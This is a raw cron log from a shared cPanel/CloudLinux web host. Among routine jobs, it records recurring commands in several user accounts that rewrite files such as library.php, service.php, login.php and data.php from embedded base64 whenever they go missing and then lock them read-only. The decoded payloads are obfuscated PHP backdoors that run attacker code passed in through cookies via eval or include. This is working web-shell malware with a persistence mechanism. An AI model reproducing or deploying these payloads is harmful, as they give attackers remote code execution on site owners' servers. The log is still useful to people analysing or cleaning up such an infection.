Jun  7 07:03:01 medusa CROND[29512]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:03:01 medusa CROND[29513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:03:01 medusa CROND[29514]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:03:01 medusa CROND[29515]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:03:01 medusa CROND[29516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:03:01 medusa CROND[29518]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:03:01 medusa CROND[29520]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:03:01 medusa CROND[29521]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:03:01 medusa CROND[29528]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:03:01 medusa CROND[29531]: (dvrwebcom) CMD (wget -O - -q -t 1 https://dvrweb.com.ar/cron/TFWp9Evg6VC1sv8IE8Na2W9fenvWY12YO3Y-d1qPcJK2Nfa2oj_gFfKbm5qAG6Ja8NZTvsgLfg > /dev/null)
Jun  7 07:03:01 medusa CROND[29533]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:03:01 medusa CROND[29523]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:04:02 medusa CROND[31658]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:04:02 medusa CROND[31659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:04:02 medusa CROND[31660]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:04:02 medusa CROND[31661]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:04:02 medusa CROND[31662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:04:02 medusa CROND[31663]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:04:02 medusa CROND[31666]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:04:02 medusa CROND[31667]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:04:02 medusa CROND[31671]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:04:02 medusa CROND[31675]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:04:02 medusa CROND[31676]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:04:02 medusa CROND[31681]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:04:02 medusa CROND[31682]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:05:01 medusa CROND[1345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:05:02 medusa CROND[1359]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:05:02 medusa CROND[1360]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:05:02 medusa CROND[1361]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:05:02 medusa CROND[1365]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:05:02 medusa CROND[1363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:05:02 medusa CROND[1362]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:05:02 medusa CROND[1368]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
